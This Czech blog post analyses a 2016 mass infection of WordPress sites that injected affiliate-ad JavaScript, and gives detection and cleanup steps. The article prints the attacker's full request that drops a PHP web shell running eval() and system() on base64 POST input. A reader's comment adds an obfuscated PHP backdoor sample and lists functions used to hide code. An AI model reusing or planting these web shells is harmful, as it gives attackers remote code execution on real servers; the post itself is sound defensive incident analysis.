Zavolat Další kontakty >
E-mail Kontakty

Hledáme správce PPC kampaní do Českých Budějovic, který se chce v tomto oboru posunout. Jsi to ty?

Masivní únorová infekce WordPress webů

Během posledních několika dní byly napadeny tisíce webových stránek s redakčním systémem WordPress. Na stránky je vkládán javascriptový kód, zobrazující reklamu. Jen na českém internetu jsme již nalezli téměř 400 napadených webů. Jedná se o několik měsíců připravovaný útok, který využíval starších i čerstvě nalezených bezpečnostních děr.

O nákaze vyšly první informace na blogu Sucuri a v jejich článku naleznete další informace. My se nyní podíváme na to, jak nákazu poznáme, co je jejím cílem, jak vznikla  a jak se dá odstranit.

Nákazu poznáte tak, že ve všech javascriptových souborech na webu je vložený cizí kód v zhruba následujícím tvaru:

Kód infekce

Můžete tedy navštívit například adresu http://<vas-web>/wp-includes/js/wp-list-revisions.js a pokud na konci souboru uvidíte podobný kód, tak víte, že jste napadeni.

Po rozšifrování kódu zjistíme, že do stránky vkládá skript a iframe s bannerovou reklamou:

Vkládaný banner

Tento banner vede na Aliexpress s affiliate odkazem útočníka. Pokud někdo na tomto portálu díky banneru nakoupí, jde provize útočníkovi. Vzhledem k počtu napadených webů může tento zisk činit poměrně zajímavou částku.

Skript dále ukládá cookie s platností jeden den, podle kterého pozná, že návštěvníkovi daný den již reklamu zobrazil a další zobrazovat nebude, aby nepojal podezření.

Další otázkou je, jak se infekce na web dostala? Oproti většině útoků se nejedná o zneužití nějaké aktuální bezpečnostní chyby, ale jde o dlouhodobou záležitost. Útočník pravděpodobně několik měsíců využíval odhalené chyby v pluginech, šablonách i jádře WP a weby tiše infikoval umístěním vlastního php souboru (backdoor). Tento soubor se automaticky nijak nespouští a ani neobsahuje na první pohled podezřelé řetězce, slouží však jako spouštěč. Setkal jsem se například se souborem wp-datas.php (který byl i téměř rok starý) v kořenové složce webu. Po spuštění tento soubor vytvořil další soubory (wp-update.php), který již dokázal přijímat rozkazy od útočníka a vykonávat je pomocí funkce eval().

Příkaz k vytvoření nového souboru vypadal takto:

/wp-datas.php?RequestType=Post&SavePath=&FileName=wp-update&FileType=php&PageCode=<?php $l = false; try{@touch(basename($_SERVER[SCRIPT_FILENAME]),time()-96000000);}catch(Exception $e){}try{$t='ret'.'urn '.'tr'.'ue;'; $l = eval($t);}catch(Exception $e){} try{if($l){$cap='bas'.'e6'.'4_d'.'ec'.'ode';if(isset($_POST[sam])) eval($cap($_POST[sam]));}}catch(Exception $e){} try{if(!$l){$a = $_POST[sam]; $c = 'bas'.'e6'.'4_dec'.'ode'; $a = $c($a); file_put_contents('_ptemp','<?php '.$a); $b = 'sy'.'st'.'em'; $b('php _ptemp;rm _ptemp');}}catch(Exception $e){}

Můžeme si všimnout, že ve výsledném souboru jsou jména některých funkcí rozkouskované (base64_decode) - to je proto, aby příkaz prošel některými filtry URL adres. Funkce výsledného souboru je jednoduchá - přijímat příkazy poslané metodou POST v parametru "sam" a provádět je pomocí eval(). Další trikem je to, že se pomocí příkazu touch vytváří soubor s falešným datem změny o 3 roky zpět - nalézt tyto soubory tak lze pouze pomocí hledání podle data změny stavu souboru (ctime), kde bude uveden opravdový datum změny - může to však přinést i spousty falešně pozitivních výsledků, protože tento atribut se mění i s přesunem souboru, změnou vlastníka atd.

stat wp-update.php
  File: `wp-update.php'
  Size: 474             Blocks: 8          IO Block: 4096   regular file
Device: fd04h/64772d    Inode: 13763685    Links: 1
Access: (0644/-rw-r--r--)  Uid: (  xxx/    xxx)   Gid: (  xxx/    xxx)
Access: 2013-01-18 09:17:09.000000000 +0100
Modify: 2013-01-18 09:17:09.000000000 +0100
Change: 2016-02-03 15:32:53.657620988 +0100

Dle logů jsme narazili nejčastěji na následující IP adresy, ze kterých příkazy přicházely (aktuálně nemusí být špatnou volbou je zablokovat):

192.169.226.231, 173.214.173.113, 74.63.131.97, 84.246.231.62, 162.144.48.77 - z těchto IP šly pouze testy, zda skript funguje a kde je umístěn

45.32.78.176, 178.62.37.131 - z těchto adres již přišly reálné příkazy

Další testy existence škodlivého skripty šly na URL /wp-content/uploads/new_up.php (a varianty dle roků a měsíců /wp-content/uploads/2015/12/new_up.php,...)

Dále jsme detekovali testy existence dalších souborů, nelze však jasně říci, že mají s touto nákazou konkrétní spojitost, předpokládám však, že by se mohlo jednat o další spouštěče při jiných variantách nákazy:

  • /cpanel.php
  • /includer.php
  • /wp-content/plugins/akismet/class-login.php
  • /wp-content/plugins/akismet/info.php
  • /wp-content/plugins/akismet/legacy.php
  • /wp-content/plugins/akismet/malrom.php
  • /wp-content/plugins/akismet/Sec-War.php
  • /wp-content/plugins/akismet/xp-Cracker V2.php
  • /wp-content/plugins/all-in-one-seo-pack/aioseop_utility.php
  • /wp-content/themes/pinboard/404.php
  • /wp-content/themes/quiven/404.php
  • /wp-content/themes/wp-1000.php
  • /wp-content/themes/yoko/404.php
  • /wp-content/uploads/wp-1000.php
  • /wp-xmpp.php

Můžeme si všimnout, že škodlivý kód se mohl nalézat v souboru 404.php různých šablon. Toto bývá častý trik na skrytí škodlivého kódu - po obnově ze zálohy se zdá vše v pořádku, ale jakmile s odstupem času přijde dotaz na neexistující stránku, web se opět infikuje.

Dalším společným faktem bylo to, že user agent byl vždy zhruba Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51 (čísla verzí a OS se občas lišila). V logu jsme tedy při analýze hledali primárně řetězec Presto.

31. ledna přišel první příkaz nalézt všechny javascriptové soubory na celém hostingu a vložit do nich výše zmíněný škodlivý kód. V případech, že hosting nemá dostatečně vyřešenou izolaci jednotlivých webových stránek, nebo používáte na jednom hostingu více svých webů v podsložkách, tak jsou infikovány i ostatní weby, které původně chybu neobsahovaly a ani se nemusí jednat o WordPress weby. Tyto příkazy přicházely (a stále přicházejí) zhruba jednou za hodinu, případná dezinfekce odstraněním škodlivého kódu z JS souborů tak má pouze krátké trvání. Přepsání čistými soubory ze zálohy také není řešení, protože škodlivé soubory jsou navíc a v záloze tak nejsou obsaženy a k jejich přepsání tak nedojde. Pro nápravu z čisté zálohy je potřeba všechno smazat (nebo alespoň php soubory) a nahrát vše znova. Bohužel se nákaza mohla objevit několik již před několika měsíci a tak se může stát, že čistá záloha k dispozici není. V tomto případě je nutné infikované soubory php soubory najít a odstranit ručně.

Tyto soubory se můžete pokusit najít tak, že vyhledáte všechny PHP soubory obsahující řetězec "eval(", ve standardní instalaci WP jej naleznete v souborech:

  • wp-admin/includes/class-pclzip.php
  • wp-includes/class-json.php
  • wp-includes/functions.php

Dále se může "legálně "vyskytovat v pluginech (wp-content/plugins) a možná i v některých šablonách (wp-content/templates). V jiných složkách byste ho najít neměli.

Dalším řetězcem pro hledání je "@fputs(" - funkce pro uložení zaslaného textu do souboru. Ten se legálně vyskytuje pouze v wp-admin/includes/class-ftp-pure.php, ale je možné, že ho opět najdete i v některých pluginech a šablonách.

Pokud budou výše zmíněné řetězce nalezeny v pluginech a šablonách, je potřeba rozhodnout, zda se jedná o regulérní soubory nebo ne. Prvním vodítkem může být název souboru, backdoor soubory mají většinou název nějakého běžného souboru ukončený několika náhodnými znaky - např. screenshot3762a.php, uninstall10fa2.php. Před tím než se do čisštění půstíte, určitě si udělejte extra zálohu.

Dobrou metodou je také zachování pouze souboru wp-config.php, složky uploads (zde se běžně žádné PHP soubory nevysktytují) a případně své šablony (tu je nutné ručně zkontrolovat) a následné nahrání čisté verze WordPress z oficiálních stránek a doinstalování původních pluginů.

S hledáním škodlivých souborů nám také může velmi pomoci plugin WordFence.

Dále je potřeba se poprat s kódem přidaným do javascriptových souborů. Kód vždy obsahuje na komentář s 32 znakovým hashem na začátku a na konci,je na jednom řádku, prvních několik znaků na začátku skriptu a na jeho konci je také vždy stejných. Dostatečně identifikující regulární výraz by mohl tedy vypadat takto:

\/\*[a-z0-9]{32}\*\/;window[^\n]+\)\);\/\*[a-z0-9]{32}\*\/

Tento řetězec můžeme použít například pro dezinfekci nástrojem FAR (find and replace). Jako content pattern pro vyhledávání nastavíme regulární výraz, necháme vyhledat soubory a následně nastavíme náhradu tohoto řetězce na nic.

FAR - Find And Replace

Pokud pracujete v Linuxové příkazové řádce, tak můžete stejného účinku dosáhnout spuštěním následujícího příkazu ve složce s infikovaným webem:

find ./ -type f -name "*.js" -exec sed -i -e 's/\/\*[a-z0-9]\{32\}\*\/;window[^\n]\+));\/\*[a-z0-9]\{32\}\*\///' {} \;

 

Po odstranění škodlivého javascriptu ze souborů je vhodné také prohledat obsah webu, zda v něm nepřibyly skripty nebo iframy. To lze provést například přímo v databázi příkazy:

SELECT * FROM `wp_posts` WHERE `post_content` LIKE '%<script%' OR `post_content` LIKE '%<iframe%'

SELECT * FROM `wp_comments` WHERE `comment_content` LIKE '%<script%' OR `comment_content` LIKE '%<iframe%'

 

Vzhledem k tomu, že příkazy pro opětovnou infekci přichází velmi často, je dobré po dobu dezinfekce web úplně pozastavit (např. omezením přístupu pouze ze své IP v .htaccess). Po úspěšné dezinfekci před obnovou provozu webu je také potřeba udělat několik dalších kroků, protože nevíme, jestli útočník neprovedl nějaké další nepříjemné věci:

  • změnit šifrovací klíče v wp-config.php (https://api.wordpress.org/secret-key/1.1/salt/)
  • změnit heslo k databázi a změnu zanést do wp-config.php
  • zkontrolovat, zda nejsou do administrace přidáni neznámí uživatelé
  • změnit hesla všech uživatelů

 

Co udělat jako prevenci proti podobným problémům? Nejdůležitější je pravidelná aktualizace WordPress  a jeho rozšíření (to však platí obecně pro všechny webové stránky, nejen ty na WP), nákaza se na naprostou většinu stránek dostala díky starším zranitelnostem, které nebyly včas opraveny. Vhodné je také používat bezpečnostní plugin, který škodlivé chování dokáže blokovat a detekovat změny v souborech. Osobně mám rád plugin WordFence, doplněný blokátorem podezřelých požadavků BBQ: Block Bad Queries, chybu neuděláte ani s pluginem iThemes Security. Pro rychlejší zotavení z případné infekce je rozhodně potřebné mít k dispozici zálohy svého webu.

Pokud berete bezpečnost vašeho webu vážně, přijďte také na mou přednášku o bezpečnosti na konferenci WordCamp Praha 2016, která se bude konat 20. února na VŠE. Má starší přednášky si můžete prohlédnout na EDU.lynt.

Komentáře (3)

Přidat komentář

napsáno 5. 2. 19:08
Stejný problém. U mě je navíc ještě divný i soubor wp-load.php. Jeho obsah (včetně čínských komentářů) zde: https://jsfiddle.net/7hehgt7t/.

napsáno 5. 2. 9:05
Jakub Novák:
máte samozřejmě pravdu, že škodlivý kód může být velmi komplexně zašifrován a jeho odstranění mnohem náročnější než je popsáno v článku. Nicméně článek se vztahuje konkrétně k této infekci, která soudě podle více než desítky webů, které jsem zkoumal, podobné metody nepoužívá. Mnohé scannery (ať už v bezpečnostních pluginech, nebo třeba YARA, kterou používáme) jsou citlivé právě na řetězce, které popisujete. Myslím, že právě toto stojí za úspěchem útoku, v kódu původního souboru není na první pohled nic podezřelého, abyste problém našli, musíte ho opravdu číst na najít jeden malý fputs.

I v článku jsem popisoval, že je vhodná metoda smazání všeho a obnova s čistým štítem. Do článku doplním váš námět, přenesení jen uploads, toto jsem bral jako automatickou věc a explicitně jsem to v článku nenapsal.

Díky za komentář.
napsáno 4. 2. 22:49
Autor clanku napisal celkom zaujimave informacie, avsak k vycisteniu webu to absolutne nestaci!

Web dokaze vycistit len skuseny programator!

Je tam totiz mnozstov funkcii, ktore mozete prehladavat, napr.:

eval, move_uploaded_file, file_put_contents, fputs, @$

ale aj

exec, gzinflate, gzuncompress, rawurldecode, strrev, ini_set, shell_exec, fopen, curl_exec, popen, str_rot13, base64_decode

a aj ked najdete vsetky subory ktore obsahuju tieto vyrazy a "vyliecite" ich, tak stale tu je moznost kod zasifrovat do roznych znakovych sad a cez rozne funkcie napr. cez chr() alebo obycajne cez spajanie stringov ako 'ev'.'a'.'l' a uz to cez ziaden vyhladavac nenajdete

Dole pripajam ukazku kodu, ktory ked niekto schopny rozsifruje tak zisti, ze si utocnik vytvara branu aby prijimal paramtere z $_POST a eval-oval ich, cize moze robit viacmenej cokolvek. Ano tento virus by sa dal vypatrat cez opakujuce sa "chr(" ale nie je problem nieco podobne prepisat na jeden riadok napr. cez spominane spajanie stringov a uz to nenajdete, lebo to moze byt este rozbite cez str_replace a podobne.

Samozrejme je aj mnoho inych metod ako ukryt "eval" a bez toho aby clovek presiel subor po subore, je prakticky nemozne zarucit vycistenie webu... chvalabohuje ak je web spraveny podla bestpracticies, tak staci nanovo nahrat wordpress a pluginy a zo stareho webu preniest len temu a uploads a potom prejst len tieto subory... a ano skontrolovat aj databazu, tam je tiez vela metod ako skryt kadeco :P

Proste, ak nie ste skuseni v danej problematike, tak nad tym zbytocne stravite hodiny a hodiny a o tyzden to mate zase na webe. Radsej treba investovat par desiatok (stovak - zalezi od webu) € a dat to spravit niekomu kto to uz pozna.

Ukazka virusu:

<?php
$z7qb=chr(112)."r\x65".chr(103).chr(95)."\x72ep".chr(108)."\x61".chr(99).chr(101);
$i9z1nwe="e\x76\x61\x6C".chr(40)."b\x61se\x36\x34".chr(95)."\x64\x65\x63".chr(111)."d".chr(101)."\x28\x22\x51GVy\x63\x6d9\x79".chr(88)."3J\x6C\x63\x479y".chr(100)."\x47lu\x5A".chr(121)."\x67\x77\x4b".chr(84).chr(115).chr(78)."\x43\x6B\x42".chr(112).chr(98)."\x6D".chr(108).chr(102).chr(99)."\x32".chr(86).chr(48)."\x4b\x43".chr(74)."\x6b\x61XN\x77".chr(98)."\x47F".chr(53).chr(88)."2".chr(86)."y\x63\x6d9\x79\x63\x79\x49s".chr(77)."\x43".chr(107)."7\x44".chr(81)."\x70\x41\x61W".chr(53).chr(112)."X3\x4e".chr(108).chr(100).chr(67)."g\x69\x62G".chr(57)."\x6E".chr(88)."\x32\x56y\x63\x6D9".chr(121)."c\x79Is\x4d\x43".chr(107).chr(55)."D".chr(81).chr(112)."A\x61".chr(87)."5\x70X3\x4eldC\x67\x69Z\x58".chr(74).chr(121).chr(98)."\x33".chr(74)."\x66".chr(98)."G\x39n\x49i\x77\x77\x4b\x54".chr(115).chr(78)."\x43g\x30".chr(75)."a".chr(87).chr(89).chr(103).chr(75).chr(71).chr(108)."\x7a\x63\x32".chr(86).chr(48)."\x4B\x43".chr(82)."\x66U".chr(69)."\x39\x54\x56".chr(67).chr(107).chr(103).chr(74)."\x69\x59\x67aX\x4E\x66Y".chr(88).chr(74).chr(121)."\x59".chr(88)."\x6BoJF\x39Q\x54".chr(49)."\x4e\x55".chr(75).chr(83)."A".chr(109).chr(74)."i\x42".chr(106).chr(98).chr(51)."V\x75".chr(100)."\x43g".chr(107)."\x58".chr(49)."\x42\x50U1\x51".chr(112).chr(80).chr(106)."E\x70\x44".chr(81)."p\x37D".chr(81)."o".chr(74)."\x5am9y".chr(90)."\x57\x46".chr(106)."aCAo".chr(74)."\x46".chr(57)."\x51\x541\x4e".chr(85).chr(73).chr(71)."\x46".chr(122)."I".chr(67)."R\x32".chr(89)."\x58\x49\x70\x44".chr(81)."\x6fJ".chr(101).chr(119)."0KCQ\x6c".chr(112).chr(90)."\x69".chr(65)."\x6FI\x57".chr(108)."\x7a\x632V\x30\x4B\x43Rj".chr(98)."\x32".chr(82)."l\x4B".chr(83).chr(107)."\x67\x4a".chr(71)."\x4e\x76".chr(90)."\x47\x55gP".chr(83)."Ak\x64m".chr(70)."y\x4Fw0\x4b\x43Q".chr(108)."lb\x48\x4e".chr(108)."\x61WYgK".chr(67)."\x46".chr(112)."c3".chr(78)."\x6C".chr(100)."C\x67\x6Bc".chr(71).chr(70).chr(122)."c\x79\x6B".chr(112)."IC".chr(82).chr(119)."YXN".chr(122)."\x49D0".chr(103)."\x4a\x48\x5A\x68cj\x73\x4eC".chr(103)."k\x4A\x5A".chr(87)."\x78\x7a".chr(90)."SB\x69".chr(99).chr(109).chr(86)."ha\x7A".chr(115).chr(78)."\x43\x67".chr(108)."9".chr(68)."QoN".chr(67)."gl\x70\x5a\x69\x41\x6f\x4A".chr(72)."\x42\x68\x633M".chr(103).chr(80)."\x54\x30gIj\x68j\x57n\x42o\x4F\x471B\x53".chr(50)."REe\x44".chr(86)."\x53\x63\x48\x68tYm".chr(57)."\x78M".chr(110)."\x70\x42".chr(100).chr(50)."\x70K\x643N\x73\x65E\x64H".chr(73)."i".chr(107)."\x4E".chr(67)."\x67".chr(108)."\x37".chr(68)."Qo".chr(74)."\x43W\x56\x32\x59\x57w\x6f\x59m\x46\x7aZ\x54\x590".chr(88)."\x32RlY".chr(50)."\x39".chr(107)."Z".chr(83)."\x67".chr(107)."\x592\x39k\x5AS\x6B".chr(112).chr(79)."w0\x4B\x43\x580NC".chr(110)."0\x4eC".chr(109)."\x56\x34".chr(97)."\x58".chr(81).chr(55)."\x22".chr(41)."\x29\x3B";
$z1e8J=chr(47)."\x31\x32\x351\x37".chr(49)."\x64\x33fc".chr(102)."\x34".chr(57).chr(98)."\x38\x302e5\x38\x33".chr(57).chr(98).chr(99)."\x62".chr(98)."\x39".chr(57).chr(102)."\x38c".chr(97).chr(47)."e";
$z7qb($z1e8J,$i9z1nwe,"\x31".chr(50).chr(53)."\x31\x37".chr(49)."d\x33\x66\x63\x66\x34".chr(57)."\x62\x3802\x65\x35".chr(56)."\x33\x39b".chr(99).chr(98)."b9".chr(57)."\x668".chr(99)."a");
?>